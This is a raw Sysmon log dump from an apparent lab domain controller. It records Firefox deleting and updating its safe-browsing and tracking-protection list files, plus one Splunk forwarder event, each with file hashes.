15:06:10.290{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\social-tracking-protection-twitter-digest256.vlpsetMD5=B50CF628E0082A7840D84D0CBE1CAD48,SHA256=544DF79BCEF9DC8E082021E342C2A1B12CD0B8BDAF3687E0F23785406EDF33AE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.290{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\social-tracking-protection-twitter-digest256.sbstoreMD5=F130C472E963FF3CEED251C65964B927,SHA256=E5D2A5BBE8AA43751EF7F7BC3A817A0963D56272A4C9B6055E60929606186CE2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\social-tracking-protection-linkedin-digest256.vlpsetMD5=5F93E0F827909390D257EBB27C77F392,SHA256=5BCB684F3EE3B2EC2F4945655FBEF281C487399D6BF90451647DB1761715D4C8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\social-tracking-protection-linkedin-digest256.sbstoreMD5=9275B832091D9E3BFE50898A3BE022B5,SHA256=38C52A5435B625083000A054489B95E033F7B352377510DF668CEE749DE5803E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\social-tracking-protection-facebook-digest256.vlpsetMD5=8AC8A05028631170937EDA4CF0E0A35A,SHA256=456AB2C0E4E117D62DC529362EB22C725D410098868442729ADE5E4FF0822E78,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\social-tracking-protection-facebook-digest256.sbstoreMD5=7BBA9B83F0F213C5A723209D4C9962CE,SHA256=E1B8E7DEB0F34EEB6BF4D10E47E734A1FE829C365DF360B98646D7E11F2DD4C7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\social-track-digest256.vlpsetMD5=16BF2AA546411BA25DC80EA288D47143,SHA256=524EC56C023155C7BE4C84D5AEC4FE2D85DFBAB3C2FA27F82BCD35028D546F83,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\social-track-digest256.sbstoreMD5=69EE5B232870704AFCC0E8957AA42A0F,SHA256=EC8DF5279022B68C0B542EC1688889374754106DFADBF7CAF8337E3F98865941,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\mozstd-trackwhite-digest256.vlpsetMD5=C143402B1C4118ED7B00874BB55D3156,SHA256=681A0704C2C3DBDFB684A05706A01805E4A396ACFDA7D8D591E54237E4DEE64A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\mozstd-trackwhite-digest256.sbstoreMD5=489DDF1C6CFFF3875F1BECD21EE3A913,SHA256=10226DBCFA9F6058B8A2FF0536E4A23EAF40F4CC71CC6168647D97C1D538D4AC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\mozplugin-block-digest256.vlpsetMD5=FCC9C2C9B611A3264B68EBE180EB4248,SHA256=6ECD378A537EEFE350B45CFA353741383F407D99D776BF23155A7825DC5DD2BC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\mozplugin-block-digest256.sbstoreMD5=519BEB1B01FC355BB388F1F75BE997FD,SHA256=FFE2D3077B81AE6F51B220C1C661B276C823FA67DAD1D64FC5F17249FC54BDC0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-unwanted-proto.vlpsetMD5=C1BA06F0583B4D3CC4E41F1E4F8EF75E,SHA256=FE89222A35763FB6793FC64C441F35222128376E25A0002B9AB4F38DA261ECEE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-unwanted-proto.metadataMD5=87F3608FDA67FE802E1B5F07C5249F90,SHA256=C7B42FF76D93B5F64E3EF5B234CA0C88E1BE900E89379D9E5C632AB1D7983D8C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.274{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-phish-proto.vlpsetMD5=CB337C862558A9110A463BF20E8CCC07,SHA256=A3C5446937F36C9A1A5481A28FB914B591BA51C6A8C62166CD61EC3D538758CB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.211{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-phish-proto.metadataMD5=1F6DA476306A136448D37EDE782371E3,SHA256=D41F7AB52EF48D424C42004026B00A07D18ED64237E2DF958A2C57C44EF3B349,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.211{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-malware-proto.vlpsetMD5=76E48754FFA2B79B64FE8241DFD71ED7,SHA256=15F2741D7B86E4DB745150ED41E1C3FBFF4DB98C9CCEAEC0391285868455F311,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.211{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-malware-proto.metadataMD5=2825B7114106A05A5C2A069EDCF8F0C8,SHA256=398A9E73662EC579CC71C6CEDA4B3C20C330B1914B8E7103D086B33E851BA122,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.211{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-downloadwhite-proto.vlpsetMD5=EA86E0097B81FDBDEE3F12AC90CA6410,SHA256=6A242B62530E38DDCFD272643F6CC44EDC0208C69DC3022D6CC273F4C7E79AF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.196{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-downloadwhite-proto.metadataMD5=C114B887B7576D62C180A7F63CD0FE0C,SHA256=BEF7FAEFD767C2165F8BABA1DBB184A7767444A4C33A88C1BE4431A7ED90EB17,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.196{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-badbinurl-proto.vlpsetMD5=10AEEB36F61DD679136E390379B7CE9B,SHA256=A8CBA1484D349228B6D321CE529A40B0AE1F155CF8AEE3719FD7ADBAF55CFA61,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.196{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-badbinurl-proto.metadataMD5=BD4F23884CAABFC5B5355485C886584F,SHA256=1E92D09BA30D13D121082C92DB2E14B4962D7E6F18E38A489331773844F5E77E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.196{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google-trackwhite-digest256.vlpsetMD5=E54E5B84194EEE15E64D2A03F1136BB7,SHA256=07707B589BE3DBA3BB0BDAC67760A2B180EA3531E9D7976B73E4C1D8DF9DBB1E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.192{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google-trackwhite-digest256.sbstoreMD5=FEC9BC354A7EE92C6FEEFE63E6B0FA26,SHA256=258EF8E6994A09FFB54BD0D5AFEC97C13C31F2EEFB7FE90A2A4C487C87817519,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.192{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\except-flashsubdoc-digest256.vlpsetMD5=0C0D67875BD75A0227C02DD8529BA01A,SHA256=614BE0169EC36E67223EB9645A98DA66DBFDE5DFBB89BB064F428AAEABDD9D97,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.191{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\except-flashsubdoc-digest256.sbstoreMD5=22698B4CF784DBBAE2D583F00491D43D,SHA256=3849563088AE0677D61702A1310FDE26DE5DDD846D53037222D3EFE012197BF5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.191{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\except-flashallow-digest256.vlpsetMD5=7194B6BFF691A056852A51E2E06CE8FE,SHA256=CBE2DC6ABFE25BEAD60F4DFAF419FC0F441FF8A8DD4A2FEBF5553BE1CBD90C49,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.190{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\except-flashallow-digest256.sbstoreMD5=DD0458514C9A922B45DA6A8BEBE47320,SHA256=D27D5B27030F4725249377951BEB89E84A90A0E8241F0D5FD80EA59C1606E761,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.190{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\except-flash-digest256.vlpsetMD5=C2994D388F8780C87D35C352D9582985,SHA256=7ED09F7D2BD632F70077A4AE4F2BD2F3FB654B03CD72652F51678B0C7D027F25,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\except-flash-digest256.sbstoreMD5=D5D6B4D59B4AE4E2DE4B40D0DA083571,SHA256=000E3A78C72A210CA3B5417A3CDD294FBCE2A31661601C9D594C75CF2800571C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\content-track-digest256.vlpsetMD5=07FF16BA9846838DA27AE094A1B91369,SHA256=DC83AE90504AC11C29876CFC48483976397E899958EE8EDE7F381971A2C2C4B9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\content-track-digest256.sbstoreMD5=1B9A162CEB3C7BE8393CE348F35A4564,SHA256=2D6B6351BD1B8C2047DA1854D0033EE6C5CD9F1BFE38C5E1A2B82C86AFE8A598,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\block-flashsubdoc-digest256.vlpsetMD5=40165280FF1345B5241EC2A9D1DA2AF0,SHA256=F80BDD5341D8B1EE946E344E258EF2D35C3C0BB6B13EB7B3E6A77467DFA8B97F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\block-flashsubdoc-digest256.sbstoreMD5=B9556D03AFF392142AD5691D2F867310,SHA256=CFD3909B41C1EE3CBCB8B7D2B1378065E7D3B543FFF1F2FB7A4F25C5FF41722C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\block-flash-digest256.vlpsetMD5=130B9AC2BEEC5ADA274561105D81AE36,SHA256=7D99FEC08182A5B95D18D1569EDAA2C60C2AAFBD15A56D8882F22F3B395E6460,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\block-flash-digest256.sbstoreMD5=9F6B331AA1E070DCFEED473E76CE56C3,SHA256=7DBBEA2DD387EEB85E1F56E02FC9989ACDE570CD43BFEF2C2A827093BA87DA6D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\base-fingerprinting-track-digest256.vlpsetMD5=BF6C363FCFE18836F5B693AC897B03D0,SHA256=3436668289A12D65E3C22BC60B8E2EA8D2D6CF15DF1402FCB3C16DD875D438E9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\base-fingerprinting-track-digest256.sbstoreMD5=D5F2E2EC2D972EA4E3BD5E52478574EC,SHA256=5A9F549160D35C4F4CCD6CC4EF4B63FF1A8859F8374AEA866A10F61DC2559E58,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\base-cryptomining-track-digest256.vlpsetMD5=82E921320B62879B070EBE9D8F1F4256,SHA256=A781BFF04964067CB06EA80DA605A4A2837F7256580693C6DBDCA971D8C9BDB0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\base-cryptomining-track-digest256.sbstoreMD5=BB9BB51CB484CC5719D210D53CF37762,SHA256=1903A36C25AEB3C61953484ED931ED52AB4A3BD13FCC38046154A6681472D499,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\analytics-track-digest256.vlpsetMD5=914534BA8A40B6B03D6D9B771F2B19BD,SHA256=35A2915F1843458284C8FC7CA759EA2429663896ED02845849FA9A318F53EC0A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\analytics-track-digest256.sbstoreMD5=AE7986A0220B25D6A8A8D964DFAB18A9,SHA256=204DECEAD5EF0D73D35420F74EF89BB5E7080007726E198A26D8553BA5B257D9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\allow-flashallow-digest256.vlpsetMD5=DE0D88480C24350C59E1E9A3583DE0D1,SHA256=01BA9F0B913E04ED10BD7166796483DD4F72005F249D6EE68B12117BE4B5D3C7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\allow-flashallow-digest256.sbstoreMD5=DD0458514C9A922B45DA6A8BEBE47320,SHA256=D27D5B27030F4725249377951BEB89E84A90A0E8241F0D5FD80EA59C1606E761,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\ads-track-digest256.vlpsetMD5=4E114A12FE1D8664A2957286D9C690B5,SHA256=6A1E487E1A25DA4010DCE4BC9DD610DEF85DA683FAC9D704DD2A50664E5A60BA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.174{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\ads-track-digest256.sbstoreMD5=775AAB007F2E4FF49FC45DB938962B25,SHA256=D3DA5191342AAD67DAE5D80DF6ADE9D325A8A9D1131BADFC19152B6468A62E3F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.158{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-badbinurl-proto.metadataMD5=BD4F23884CAABFC5B5355485C886584F,SHA256=1E92D09BA30D13D121082C92DB2E14B4962D7E6F18E38A489331773844F5E77E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.143{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-badbinurl-proto-1.vlpsetMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.074{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8558BBDA0E6F89FED2B8EB8D58ECB300,SHA256=BDEEDD4E960BB158ABFFE24E080D13B98E757DA0B73B23ABB4AAFE97EB73FCB7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 